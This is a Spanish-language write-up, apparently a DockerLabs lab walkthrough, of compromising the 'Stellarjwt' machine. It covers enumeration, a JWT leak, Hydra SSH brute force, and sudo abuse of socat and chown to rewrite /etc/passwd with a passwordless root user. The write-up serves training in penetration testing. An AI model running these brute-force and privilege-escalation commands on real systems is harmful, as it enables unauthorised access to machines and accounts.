> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/stellarjwt.md).

# Stellarjwt

## 1. Reconocimiento — Nmap

Se realiza un escaneo completo sobre el objetivo `172.17.0.2`.

```bash
nmap -sV -p- -T4 172.17.0.2
```

![Nmap scan](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-a6584f4e6fa01fd1d71b4f4876b1aadd78bf7571%2F2026-04-21-21-20-21.png?alt=media)

**Resultados relevantes:**

| Puerto | Estado | Servicio | Versión                          |
| ------ | ------ | -------- | -------------------------------- |
| 22/tcp | open   | SSH      | OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 |
| 80/tcp | open   | HTTP     | Apache httpd 2.4.58 (Ubuntu)     |

* OS: Linux (CPE: `cpe:/o:linux:linux_kernel`)
* MAC: `C6:C1:D5:BB:D2:E9`

***

## 2. Enumeración Web

### 2.1 Web — Trivia NASA

Al acceder a `http://172.17.0.2`, se encuentra una web temática de la NASA con una pregunta de trivia:

> **¿Qué astrónomo alemán descubrió Neptuno?**

![Web NASA](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-6bbbbc6818549dbf534bdd75176e309f6942d1e4%2F2026-04-21-21-20-31.png?alt=media)

La respuesta es **Johann Gottfried Galle**, quien realizó el descubrimiento el 23 de septiembre de 1846 desde el Observatorio de Berlín, basándose en los cálculos de Urbain Le Verrier.

![Gobuster results](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-bc376f13d112f35ef2a300d5504a4726d9d9f907%2F2026-04-21-21-20-40.png?alt=media)

### 2.2 Gobuster

```bash
gobuster dir -u 172.17.0.2:80 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404 -t 60
```

![/universe source](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-97f8291ef8bec0948da58abb7413cb1f050daafb%2F2026-04-21-21-26-11.png?alt=media)

**Recursos encontrados:**

| Recurso       | Código | Tamaño |
| ------------- | ------ | ------ |
| index.html    | 200    | 1905   |
| universe      | 301    | 311    |
| server-status | 403    | 275    |

***

## 3. Análisis del directorio `/universe`

Al acceder a `http://172.17.0.2/universe/` se visualiza el código fuente de la página, donde se encuentra un token **JWT** embebido como comentario HTML.

![JWT header decode](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-71066e44ca00086c2d225c4ca9764fe860ce9bcd%2F2026-04-21-21-23-12.png?alt=media)

### 3.1 Decodificación del JWT

Se decodifican manualmente las tres partes del token con `base64 -d`:

**Header:**

```bash
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
```

```json
{"alg":"HS256","typ":"JWT"}
```

**Payload:**

```bash
echo "eyJzdWIiOiIxMjM0NTY3ODkwIiwidXNlciI6Im5lcHR1bm8iLCJpYXQiOjE1MTYyMzkwMjJ9" | base64 -d
```

```json
{"sub":"1234567890","user":"neptuno","iat":1516239022}
```

![Hydra attack](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-29f92455675d612ca728eaed498d92166ee862f8%2F2026-04-21-21-26-00.png?alt=media)

**Firma:** base64 inválido (padding incompleto — esperado en firmas JWT).

El JWT revela el usuario **`neptuno`**.

***

## 4. Acceso SSH — Fuerza Bruta con Hydra

Con el usuario `neptuno` identificado, se realiza un ataque de diccionario sobre SSH.

```bash
hydra -l neptuno -P user.txt 172.17.0.2 ssh
```

![SSH neptuno](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-10bb5730eb514e7125ac8086cce0f6538f90c059%2F2026-04-21-21-32-22.png?alt=media)

**Credenciales encontradas:** `neptuno : GottFried`

***

## 5. Acceso SSH como `neptuno`

```bash
ssh neptuno@172.17.0.2
```

* uid=1001(neptuno), gid=1001(neptuno), groups=1001(neptuno),100(users)
* `sudo -l` requiere contraseña

### 5.1 Búsqueda de SUID

```bash
find / -perm -4000 -type f 2>/dev/null
```

![SUID binaries](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-b4ca4c6bf22eab9795d4698d6e3e22f8a96a108d%2F2026-04-21-21-33-17.png?alt=media)

Binarios SUID relevantes: `/usr/bin/su`, `/usr/bin/sudo`, `/usr/bin/mount`, `/usr/bin/passwd`, entre otros. Ninguno directamente explotable desde `neptuno`.

### 5.2 Carta a la NASA

```bash
ls -la
cat .carta_a_la_NASA.txt
```

![carta NASA](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-8c4d943e888973dda1028172af7d4572e2959b49%2F2026-04-21-21-40-28.png?alt=media)

Contenido de la carta:

```
Buenos días, quiero entrar en la NASA. Ya respondí las preguntas que me hicieron. Se las respondo de nuevo por aquí.

¿Qué significan las siglas NASA? → National Aeronautics and Space Administration
¿En qué año se fundó la NASA?   → 1958
¿Quién fundó la NASA?           → Eisenhower
```

La respuesta a la última pregunta revela la contraseña del usuario `nasa`: **`Eisenhower`**.

***

## 6. Pivoting a usuario `nasa`

```bash
su nasa
# Password: Eisenhower
```

![su nasa](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-87aeb5367620570c87f8ec9c22a06ed3c115ee93%2F2026-04-21-21-40-58.png?alt=media)

```bash
sudo -l
```

![nasa home](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-419fa72270c794f77ced603ca61042e3594ef8eb%2F2026-04-21-21-41-46.png?alt=media)

`nasa` puede ejecutar como `elite` **sin contraseña**:

```
(elite) NOPASSWD: /usr/bin/socat
```

***

## 7. Pivoting a usuario `elite` — Abuso de `socat`

```bash
sudo -u elite /usr/bin/socat - exec:/bin/sh,pty,ctty,raw,echo=0
```

![nasa sudo](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-6bef8d6617ab0560ae07090500e71204c81b60fa%2F2026-04-21-21-42-32.png?alt=media)

Se obtiene una shell como `elite`. Se estabiliza con Python:

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

```bash
sudo -l
```

![socat elite](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-5e21dc951805ef5a6ab178b86be3914b2e31431a%2F2026-04-21-21-43-19.png?alt=media)

`elite` puede ejecutar como `root` **sin contraseña**:

```
(root) NOPASSWD: /usr/bin/chown
```

***

## 8. Escalada de Privilegios — Abuso de `chown`

### 8.1 Tomar control de `/etc/passwd`

```bash
sudo /usr/bin/chown $(id -un):$(id -gn) /etc/passwd
```

![chown /etc/passwd](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-3182691e80fb1827586ea56cc978e2afa7f7b76b%2F2026-04-21-22-04-57.png?alt=media)

Ahora `elite` es propietario de `/etc/passwd` y puede escribir en él.

### 8.2 Inyectar usuario root sin contraseña

```bash
echo 'alberto::0:0:hacker:/root:/bin/bash' >> /etc/passwd
su alberto
```

![Root access](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-c83997dec862fda93c5178d1ed3a00a5f3e081a2%2F2026-04-21-22-04-26.png?alt=media)

```
uid=0(root) gid=0(root) groups=0(root)
```

**¡Acceso root conseguido!**

***

## Resumen

| Paso | Técnica                              | Resultado                         |
| ---- | ------------------------------------ | --------------------------------- |
| 1    | Nmap                                 | SSH (22) + HTTP (80)              |
| 2    | Gobuster                             | `/universe` descubierto           |
| 3    | JWT decode (base64)                  | Usuario `neptuno` identificado    |
| 4    | Hydra (fuerza bruta SSH)             | `neptuno : GottFried`             |
| 5    | Lectura de `.carta_a_la_NASA.txt`    | Password `Eisenhower` para `nasa` |
| 6    | `su nasa`                            | Acceso como `nasa`                |
| 7    | sudo socat → shell `elite`           | Pivoting a `elite`                |
| 8    | sudo chown → escritura `/etc/passwd` | Usuario `alberto` (uid=0)         |
| 9    | `su alberto`                         | Root                              |
